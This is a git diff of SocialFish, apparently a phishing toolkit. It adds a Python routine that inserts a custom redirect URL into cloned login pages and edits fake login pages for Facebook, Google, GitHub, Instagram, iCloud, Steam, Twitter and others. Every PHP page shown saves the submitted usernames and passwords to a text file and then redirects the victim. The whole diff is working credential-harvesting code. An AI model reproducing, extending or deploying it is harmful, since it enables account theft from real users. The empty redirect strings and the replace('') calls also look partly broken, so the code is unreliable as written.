diff --git a/SocialFish.py b/SocialFish.py index 3f1a98e..b0c2806 100644 --- a/SocialFish.py +++ b/SocialFish.py @@ -324,6 +324,34 @@ def runServer(): if __name__ == "__main__": try: runPEnv() + def custom(): + print("\n Insert a custom redirect url: ") + custom = input('\n SF-An0nUD4Y > ') + if 'http://' in custom: + pass + else: + custom = 'http://' + custom + if path.exists('Server/www/post.php') and path.exists('Server/www/login.php'): + with open('Server/www/login.php') as f: + read_data = f.read() + c = read_data.replace('', custom) + f = open('Server/www/login.php', 'w') + f.write(c) + f.close() + with open('Server/www/post.php') as f: + read_data = f.read() + c = read_data.replace('', custom) + f = open('Server/www/post.php', 'w') + f.write(c) + f.close() + else: + with open('Server/www/login.php') as f: + read_data = f.read() + c = read_data.replace('', custom) + f = open('Server/www/login.php', 'w') + f.write(c) + f.close() + custom() def server(): print("\n Server you want to use".format(CYAN, END)) print("\n {0}[{1}1{0}]{1} Ngrok\n {0}[{1}2{0}]{1} Serveo".format(CYAN, END)) diff --git a/WebPages/GitHub/login.php b/WebPages/GitHub/login.php index 7e84d5b..d8b51d4 100644 --- a/WebPages/GitHub/login.php +++ b/WebPages/GitHub/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); -header('Location: https://github.com'); +header('Location: '); exit(); diff --git a/WebPages/Instagram_autoliker/login.php b/WebPages/Instagram_autoliker/login.php index 35f3bf8..d8b51d4 100644 --- a/WebPages/Instagram_autoliker/login.php +++ b/WebPages/Instagram_autoliker/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); -header('Location: https://ig-liker.net/'); +header('Location: '); exit(); diff --git a/WebPages/Instagram_web/login.php b/WebPages/Instagram_web/login.php index 04f147c..d8b51d4 100644 --- a/WebPages/Instagram_web/login.php +++ b/WebPages/Instagram_web/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); -header('Location: https://instagram.com'); +header('Location: '); exit(); diff --git a/WebPages/Snapchat_web/login.php b/WebPages/Snapchat_web/login.php index 31b6030..f364f36 100644 --- a/WebPages/Snapchat_web/login.php +++ b/WebPages/Snapchat_web/login.php @@ -21,7 +21,7 @@ if ($_SERVER["REQUEST_METHOD"] == "POST") { } else { include 'ip.php'; file_put_contents("usernames.txt", "[username]: " . $_POST['username'] . " [password]: " . $_POST['password'] . "\n", FILE_APPEND); - header('Location: https://accounts.snapchat.com'); + header('Location: '); } } diff --git a/WebPages/VK/login.php b/WebPages/VK/login.php index b785b04..bff8f66 100644 --- a/WebPages/VK/login.php +++ b/WebPages/VK/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); -header('Location: https://vk.com/login'); +header('Location: '); exit(); diff --git a/WebPages/VK/post.php b/WebPages/VK/post.php index c6054ff..bff8f66 100644 --- a/WebPages/VK/post.php +++ b/WebPages/VK/post.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); -header('Location: https://vk.com'); +header('Location: '); exit(); diff --git a/WebPages/VK_poll_method/login.php b/WebPages/VK_poll_method/login.php index 5b566e0..bff8f66 100644 --- a/WebPages/VK_poll_method/login.php +++ b/WebPages/VK_poll_method/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); -header('Location: ./result.html'); +header('Location: '); exit(); diff --git a/WebPages/fb_advanced_poll/login.php b/WebPages/fb_advanced_poll/login.php index 5b566e0..bff8f66 100644 --- a/WebPages/fb_advanced_poll/login.php +++ b/WebPages/fb_advanced_poll/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); -header('Location: ./result.html'); +header('Location: '); exit(); diff --git a/WebPages/fb_messenger/login.php b/WebPages/fb_messenger/login.php index c0d12d4..d8b51d4 100644 --- a/WebPages/fb_messenger/login.php +++ b/WebPages/fb_messenger/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); -header('Location: https://messenger.com/login.php'); +header('Location: '); exit(); diff --git a/WebPages/fb_security_fake/login.php b/WebPages/fb_security_fake/login.php index 0b4e7ae..d8b51d4 100644 --- a/WebPages/fb_security_fake/login.php +++ b/WebPages/fb_security_fake/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); -header('Location: https://mbasic.facebook.com/'); +header('Location: '); exit(); diff --git a/WebPages/fb_standard/login.php b/WebPages/fb_standard/login.php index 22969bd..bff8f66 100644 --- a/WebPages/fb_standard/login.php +++ b/WebPages/fb_standard/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); -header('Location: https://facebook.com/'); +header('Location: '); exit(); diff --git a/WebPages/google_advanced_poll/login.php b/WebPages/google_advanced_poll/login.php index 5b566e0..bff8f66 100644 --- a/WebPages/google_advanced_poll/login.php +++ b/WebPages/google_advanced_poll/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); -header('Location: ./result.html'); +header('Location: '); exit(); diff --git a/WebPages/google_advanced_web/login.php b/WebPages/google_advanced_web/login.php index f6bb500..266093d 100644 --- a/WebPages/google_advanced_web/login.php +++ b/WebPages/google_advanced_web/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); -header('Location: https://accounts.google.com'); +header('Location: '); exit(); diff --git a/WebPages/google_standard/login.php b/WebPages/google_standard/login.php index d892c4f..5d99e3e 100644 --- a/WebPages/google_standard/login.php +++ b/WebPages/google_standard/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['Email'] . " [PASS]: " . $_POST['Passwd'] . "\n", FILE_APPEND); -header('Location: https://google.com/'); +header('Location: '); exit(); diff --git a/WebPages/iCloud/login.php b/WebPages/iCloud/login.php index 4a84cd3..266093d 100644 --- a/WebPages/iCloud/login.php +++ b/WebPages/iCloud/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); -header('Location: http://icloud.cdn-apple.com'); +header('Location: '); exit(); diff --git a/WebPages/linkedin/login.php b/WebPages/linkedin/login.php index dffe9d0..d8b51d4 100644 --- a/WebPages/linkedin/login.php +++ b/WebPages/linkedin/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); -header('Location: https://linkedin.com/'); +header('Location: '); exit(); diff --git a/WebPages/live_web/login.php b/WebPages/live_web/login.php index 0124536..d8b51d4 100644 --- a/WebPages/live_web/login.php +++ b/WebPages/live_web/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); -header('Location: http://login.live.com/'); +header('Location: '); exit(); diff --git a/WebPages/stackoverflow/login.php b/WebPages/stackoverflow/login.php index 8d78dff..109e264 100644 --- a/WebPages/stackoverflow/login.php +++ b/WebPages/stackoverflow/login.php @@ -2,6 +2,6 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); -header('Location: https://stackoverflow.com/'); +header('Location: '); exit(); diff --git a/WebPages/steam/login.php b/WebPages/steam/login.php index 6cee6d0..6ee95a2 100644 --- a/WebPages/steam/login.php +++ b/WebPages/steam/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[USERNAME]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); -header('Location: https://store.steampowered.com/'); +header('Location: '); exit(); diff --git a/WebPages/twitch/login.php b/WebPages/twitch/login.php index bfadb42..4c8a69b 100644 --- a/WebPages/twitch/login.php +++ b/WebPages/twitch/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[Twitch-EMAIL]: " . $_POST['twitch_user'] . " [Twitch-PASS]: " . $_POST['twitch_pass'] . "\n", FILE_APPEND); -header('Location: https://twitch.tv/login'); +header('Location: '); exit(); diff --git a/WebPages/twitch/post.php b/WebPages/twitch/post.php index 7787183..2caa154 100644 --- a/WebPages/twitch/post.php +++ b/WebPages/twitch/post.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[FB-EMAIL]: " . $_POST['fb_email'] . " [FB-PASS]: " . $_POST['fb_pass'] . "\n", FILE_APPEND); -header('Location: https://twitch.tv/'); +header('Location: '); exit(); diff --git a/WebPages/twitter/login.php b/WebPages/twitter/login.php index 8ac3ecd..2cbb877 100644 --- a/WebPages/twitter/login.php +++ b/WebPages/twitter/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['usernameOrEmail'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); -header('Location: https://twitter.com/'); +header('Location: '); exit(); diff --git a/WebPages/wordpress/login.php b/WebPages/wordpress/login.php index 6ebce81..bff8f66 100644 --- a/WebPages/wordpress/login.php +++ b/WebPages/wordpress/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['email'] . " [PASS]: " . $_POST['pass'] . "\n", FILE_APPEND); -header('Location: http://wordpress.org/'); +header('Location: '); exit(); diff --git a/WebPages/yahoo_web/login.php b/WebPages/yahoo_web/login.php index 79e1d25..d8b51d4 100644 --- a/WebPages/yahoo_web/login.php +++ b/WebPages/yahoo_web/login.php @@ -2,5 +2,5 @@ include 'ip.php'; file_put_contents("usernames.txt", "[EMAIL]: " . $_POST['username'] . " [PASS]: " . $_POST['password'] . "\n", FILE_APPEND); -header('Location: https://login.yahoo.com'); +header('Location: '); exit();